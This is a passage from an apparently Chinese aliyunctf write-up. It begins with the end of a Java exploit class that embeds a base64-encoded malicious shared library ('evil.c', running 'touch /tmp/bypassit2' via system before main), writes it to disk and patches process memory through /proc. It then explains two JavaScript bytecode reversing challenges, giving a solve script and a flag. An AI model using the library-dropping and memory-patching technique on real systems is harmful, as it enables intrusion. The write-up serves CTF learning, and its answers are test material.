AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0b3VjaCAvdG1wL2J5cGFzc2l0MgAAAAB0b3VjaCBjb21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSEAdG91Y2ggY29tbWFuZCBmYWlsZWQhAAABGwM7KAAAAAQAAADM7///RAAAAPzv//9sAAAADPD//4QAAADl8P//nAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAgO///zAAAAAADhBGDhhKDwt3CIAAPxo6KjMkIgAAAAAUAAAARAAAAIjv//8QAAAAAAAAAAAAAAAUAAAAXAAAAIDv//8gAAAAAAAAAAAAAAAcAAAAdAAAAEHw//8+AAAAAEUOEIYCQw0GdQwHCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAAAAAAAAAAAAAAAAAAPAQAAAAAAAAAQAAAAAAAABtAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAHgRAAAAAAAAGQAAAAAAAAAIPgAAAAAAABsAAAAAAAAAEAAAAAAAAAAaAAAAAAAAABg+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAA8AIAAAAAAAAFAAAAAAAAANgDAAAAAAAABgAAAAAAAAAYAwAAAAAAAAoAAAAAAAAAgwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAMAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABQBQAAAAAAAAcAAAAAAAAAkAQAAAAAAAAIAAAAAAAAAMAAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAcAQAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAABcBAAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAChAAAAAAAAAR0NDOiAoVWJ1bnR1IDkuNC4wLTF1YnVudHUxfjIwLjA0LjEpIDkuNC4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQCoAgAAAAAAAAAAAAAAAAAAAAAAAAMAAgDIAgAAAAAAAAAAAAAAAAAAAAAAAAMAAwDwAgAAAAAAAAAAAAAAAAAAAAAAAAMABAAYAwAAAAAAAAAAAAAAAAAAAAAAAAMABQDYAwAAAAAAAAAAAAAAAAAAAAAAAAMABgBcBAAAAAAAAAAAAAAAAAAAAAAAAAMABwBwBAAAAAAAAAAAAAAAAAAAAAAAAAMACACQBAAAAAAAAAAAAAAAAAAAAAAAAAMACQBQBQAAAAAAAAAAAAAAAAAAAAAAAAMACgAAEAAAAAAAAAAAAAAAAAAAAAAAAAMACwAgEAAAAAAAAAAAAAAAAAAAAAAAAAMADABQEAAAAAAAAAAAAAAAAAAAAAAAAAMADQBgEAAAAAAAAAAAAAAAAAAAAAAAAAMADgCAEAAAAAAAAAAAAAAAAAAAAAAAAAMADwB4EQAAAAAAAAAAAAAAAAAAAAAAAAMAEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEQBUIAAAAAAAAAAAAAAAAAAAAAAAAAMAEgCAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEwAIPgAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYPgAAAAAAAAAAAAAAAAAAAAAAAAMAFQAgPgAAAAAAAAAAAAAAAAAAAAAAAAMAFgDgPwAAAAAAAAAAAAAAAAAAAAAAAAMAFwAAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGAAoQAAAAAAAAAAAAAAAAAAAAAAAAAMAGQAwQAAAAAAAAAAAAAAAAAAAAAAAAAMAGgAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgCAEAAAAAAAAAAAAAAAAAAADgAAAAIADgCwEAAAAAAAAAAAAAAAAAAAIQAAAAIADgDwEAAAAAAAAAAAAAAAAAAANwAAAAEAGQAwQAAAAAAAAAEAAAAAAAAARgAAAAEAFAAYPgAAAAAAAAAAAAAAAAAAbQAAAAIADgAwEQAAAAAAAAAAAAAAAAAAeQAAAAEAEwAIPgAAAAAAAAAAAAAAAAAAmAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAnwAAAAEAEgAQIQAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArQAAAAIADwB4EQAAAAAAAAAAAAAAAAAAswAAAAEAGAAoQAAAAAAAAAAAAAAAAAAAwAAAAAEAFQAgPgAAAAAAAAAAAAAAAAAAyQAAAAAAEQBUIAAAAAAAAAAAAAAAAAAA3AAAAAEAGAAwQAAAAAAAAAAAAAAAAAAA6AAAAAEAFwAAQAAAAAAAAAAAAAAAAAAA/gAAAAIACgAAEAAAAAAAAAAAAAAAAAAABAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMgEAABIAAAAAAAAAAAAAAAAAAAAAAAAARgEAACAAAAAAAAAAAAAAAAAAAAAAAAAAVQEAABIADgA5EQAAAAAAAD4AAAAAAAAAYQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAewEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC44MDYxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBldmlsLmMAX19GUkFNRV9FTkRfXwBfZmluaQBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfaW5pdABfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAcHV0c0BAR0xJQkNfMi4yLjUAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBiZWZvcmVfbWFpbgBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUucHJvcGVydHkALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnBsdC5zZWMALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAC4AAAAHAAAAAgAAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABBAAAA9v//bwIAAAAAAAAA8AIAAAAAAADwAgAAAAAAACQAAAAAAAAABAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAASwAAAAsAAAACAAAAAAAAABgDAAAAAAAAGAMAAAAAAADAAAAAAAAAAAUAAAABAAAACAAAAAAAAAAYAAAAAAAAAFMAAAADAAAAAgAAAAAAAADYAwAAAAAAANgDAAAAAAAAgwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABbAAAA////bwIAAAAAAAAAXAQAAAAAAABcBAAAAAAAABAAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAaAAAAP7//28CAAAAAAAAAHAEAAAAAAAAcAQAAAAAAAAgAAAAAAAAAAUAAAABAAAACAAAAAAAAAAAAAAAAAAAAHcAAAAEAAAAAgAAAAAAAACQBAAAAAAAAJAEAAAAAAAAwAAAAAAAAAAEAAAAAAAAAAgAAAAAAAAAGAAAAAAAAACBAAAABAAAAEIAAAAAAAAAUAUAAAAAAABQBQAAAAAAADAAAAAAAAAABAAAABcAAAAIAAAAAAAAABgAAAAAAAAAiwAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAbAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIYAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACRAAAAAQAAAAYAAAAAAAAAUBAAAAAAAABQEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAmgAAAAEAAAAGAAAAAAAAAGAQAAAAAAAAYBAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAKMAAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAA9wAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAYAAAAAAAAAeBEAAAAAAAB4EQAAAAAAAA0AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAArwAAAAEAAAACAAAAAAAAAAAgAAAAAAAAACAAAAAAAABTAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALcAAAABAAAAAgAAAAAAAABUIAAAAAAAAFQgAAAAAAAALAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAADFAAAAAQAAAAIAAAAAAAAAgCAAAAAAAACAIAAAAAAAAJQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzwAAAA4AAAADAAAAAAAAAAg+AAAAAAAACC4AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANsAAAAPAAAAAwAAAAAAAAAYPgAAAAAAABguAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADnAAAABgAAAAMAAAAAAAAAID4AAAAAAAAgLgAAAAAAAMABAAAAAAAABQAAAAAAAAAIAAAAAAAAABAAAAAAAAAAlQAAAAEAAAADAAAAAAAAAOA/AAAAAAAA4C8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPAAAAABAAAAAwAAAAAAAAAAQAAAAAAAAAAwAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAD5AAAAAQAAAAMAAAAAAAAAKEAAAAAAAAAoMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA/wAAAAgAAAADAAAAAAAAADBAAAAAAAAAMDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAQBAAABAAAAMAAAAAAAAAAAAAAAAAAAADAwAAAAAAAAKwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABgMAAAAAAAAPgEAAAAAAAAHAAAAC4AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAWDUAAAAAAACXAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAO82AAAAAAAADQEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=";
        byte[] decoded = Base64.getDecoder().decode(evilSo);
        try{
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(decoded);
            fileOutputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    long findLibraryBaseAddress(String libname) throws Exception{
        long libMemeryAddress = 0L;
        mapsFile.seek(0);
        String line;
        while((line = mapsFile.readLine()) != null) {
            if (line.contains(libname)) {
                String[] address = line.split("-");
                libMemeryAddress = Long.valueOf(address[0], 16);
                break;
            }
        }
        return libMemeryAddress;
    }

    void patchMemory(long address, byte[] patchBytes) throws Exception {
        memFile.seek(address);
        memFile.write(patchBytes);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Pastebin

因该题目较为复杂,后续出题人会写一个专门的blog来介绍。blog推出后相应链接会放在评论区,敬请期待。

Reverse

字节码跳动/Bytecode Dance

本题主要考察选手对JavaScript字节码逆向分析能力。旨在让参赛选手了解JavaScript字节码,以及学习字节码进行逆向。
具体来说,本题需要选手对JS字节码的汇编形式具有一定的了解,能够阅读并分析JS字节码,逆向其中的算法。本题较为简单,作为引导性题目,但仍需要选手能够在众多bytecode函数中定位到真正的逻辑函数、且能够进行数十条汇编的逆向分析。

选手获得的文件

  • nodejs 二进制程序
  • flagchecker.jsc,js源码通过Bytenode编译后得到的字节码形式,能够正常运行
  • flagchecker_bytecode.txt,nodejs运行flagchecker.js时添加 -bytecode 获得的js字节码汇编文本文件。
  • runner.js、run.sh,用于引导nodejs运行flagchecker.jsc

解题思路

  • 选手分析bytecode.txt,由于bytecode.txt中包含大量builtin函数,选手需要在大量函数中定位到flagchecker中的flag检查函数。选手可以通过输入输出的Wrong字符串进行定位,并发现其中调用了ccc函数以及aaa函数。

  • 定位到flag检查函数后,该函数约涉及十余种字节码指令类型,选手需要对js字节码指令进行学习,了解字节码指令运行方式。
  • 发现输入变换处理的主要逻辑在ccc函数中,对ccc函数中的数据变换进行仔细检查。
    可以看到,其中主要有三个循环结构。前两个对输入参数进行了变换,最后一个循环为校验。flag的变换与检查主要为一些加法、异或取模等运算操作。

  • 选手编写flag计算脚本获取flag
import binascii

out = binascii.unhexlify("3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae")
key2 = 159
in_text = [0]*43

for i in range(42, 18, -1):
    key2 = key2 ^ out[i]
    in_text[i] = (out[i] - key2) % 0x100

key1 = 0xAA
for i in range(0, 19):
    next_key1 = out[i]
    in_text[i] = (next_key1 - 0x33 - key1) % 0x100
    key1 = next_key1

print(bytes(in_text).decode())
  • 得到flag为aliyunctf{6a52d70da780cfe7f7218897535a4f61},进行验证。

字节码芭蕾/Bytecode Ballet

本题主要考察选手对定制化v8引擎的逆向分析及面对非标准JavaScript字节码时的逆向分析能力。旨在让参赛选手了解v8中字节码的实现,并针对非标准JavaScript字节码时编写对应的分析工具。
具体来说,本题对js源码通过编译成jsc的方式进行保护,并定制化修改了js字节码码表、jsc文件的格式,对jsc中的序列化对象进行了加密。因此需要选手对定制化v8中的js字节码指令格式进行逆向分析、并对jsc文件的加载流程进行分析。

选手获得的文件

  • nodejs 二进制程序
  • flagchecker.jsc,js源码通过Bytenode编译后得到的字节码形式,能够正常运行
  • runner.js、run.sh,用于引导nodejs运行flagchecker.jsc

定制化nodejs

jsc文件实质上为js bytecode的序列化形式,本题中对nodejs的定制化措施如下:

  • jsc的文件头魔数MAGIC,由0xC0DE0000修改为0xDEAD0000。
  • jsc的文件头中的kPayloadLengthOffset、kChecksum1Offset、kChecksum2Offset字段,异或了0xdeadbeef。
  • jsc的payload,使用了RC4算法进行加密。
  • js字节码OPCode的顺序。
    ### 解题思路

  • 选手根据阅读run.sh及runner.js,理解题目大致运行逻辑,确定逆向分析的目标为flagchecker.jsc。题目通过runner.js 引导node执行flagchecker.jsc,flagchecker.jsc为字节码形式。

  • 由于不像jschall1提供了执行时的字节码,选手需要对jsc进行逆向。选手对jsc的基本功能、生成过程、相关工作进行调研了解。
